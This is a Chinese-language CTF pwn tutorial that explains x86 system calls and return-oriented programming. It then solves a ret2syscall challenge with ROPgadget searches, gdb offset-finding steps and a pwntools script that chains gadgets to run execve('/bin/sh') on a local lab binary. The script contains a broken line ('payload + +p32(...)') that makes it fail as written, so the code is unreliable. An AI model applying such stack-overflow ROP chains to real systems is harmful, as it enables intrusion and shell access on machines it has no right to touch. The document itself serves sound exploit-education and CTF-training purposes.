网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.3 ret2syscall
上一篇:网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.2 ret2libc
下一篇:格式化字符串漏洞(待更新)
欢迎关注~
ret2syscall
- 一、系统调用
- (一)定义
- (二)特点
- 二、返回导向编程
- (一)定义
- (二)特点
- 三、例题
一、系统调用
(一)定义
系统调用是操作系统提供给应用程序的一种接口,允许应用程序请求操作系统执行特权指令,如文件操作、网络通信、进程管理等;
x86
通过int 0x80
指令进行系统调用、amd64
通过syscall
指令进行系统调用。
(二)特点
应用程序通常通过软终端或者指令触发系统调用
系统调用提供了用户空间程序与内核空间之间的交互方式
典型的系统调用包括read、write、open、close
等
系统调用的本质是操作系统内核的一段代码,我们自己编写的程序在Text、Data、Bss
这些段中,然后这些程序载入内存之后,操作系统就会为我们创造Stack、Shared Libraries和Heap
这些段,但是这些都是用户态的代码。
真正能接触到硬件的代码都是在地址空间的最高地址,就是Kernel
空间
【例】write()函数
是一个系统调用,它用于将数据从一个文件描述符写入文件或者其他输出设备中,以下是它的工作过程:(x86系统下)
# 向EAX寄存器中传入系统调用号,write函数的系统调用号就是0x4:
mov eax,0x4
# 向EBX、ECX、EDX寄存器中传入write函数参数:
mov ebx,1 # 第一个参数
mov ecx,["Hello,World!\n"] # 第二个参数
mov edx,13 # 第三个参数
# 中断执行系统调用
int 0x80
# =》write(1,"Hello,World!\n",13)
【例】execve()函数
它是一个system
函数包装的一种系统调用,系统调用号是11
# 向EAX寄存器中传入系统调用号,execve()函数的系统调用号就是0xb:
mov eax,0xb
# 向EBX、ECX、EDX寄存器中传入execve()函数参数:
mov ebx,["/bin/sh"] # 第一个参数
mov ecx,0 # 第二个参数
mov edx,0 # 第三个参数
# 中断执行系统调用
int 0x80
# =》execve("/bin/sh", 0, 0)
二、返回导向编程
(一)定义
ROP
是一种漏洞利用技术,利用程序已有代码片段(即gadgets
)来构建攻击payload
,而不是注入新的代码。这对于执行非执行区域(NX
)的内存非常有用。
(二)特点
利用程序中已有的代码片段,这些片段通常是函数的结尾,包含ret
指令。
将这些片段链接在一起,形成攻击payload
,用于执行恶意操作。
三、例题
链接: https://pan.baidu.com/s/1EYCSaq9oCV8dPDQBRb-_Yg 提取码: pfq8
拿到二进制文件之后,首先对二进制文件进行分析,是一个32位,没有设置canary
保护,可以进行栈溢出。
用IDA打开二进制文件,得到代码:
shift+F12,得到字符串表,发现字符串表中有/bin/sh:
查找包含pop;ret
命令的地址:
ROPgadget --binary ./code/pwn/ret2syscall/ret2syscall --only "pop|ret"
ROPgadget --binary ./code/pwn/ret2syscall/ret2syscall --only "int"
脚本:
需要注意的是,这里在栈上用到了很多pop;ret
指令,可能会存在字节对齐的问题,所以偏移量可能会比代码里观察的要大,最保险的办法就是直接用gdb
进行调试
from pwn import *
p = process("./code/pwn/ret2syscall/ret2syscall")
bin_sh = 0x080be408
int_addr = 0x08049421
pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
padding = 112
payload = b'a'*padding+p32(pop_eax)+p32(0xb)
payload = payload+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)
payload = payload + +p32(int_addr)
p.sendline(payload)
p.interactive()
本地运行:
调试得到偏移量的过程:
gdb ./ret2syscall 进入二进制文件调试
b main 在main函数处设置断点:
r 继续执行到断点处
cyclic 200 生成200个随机填充字符
continue 继续执行代码,并将随机生成的字符复制进去,程序到达断点:
cyclic -l daab得到偏移量
得到偏移量为112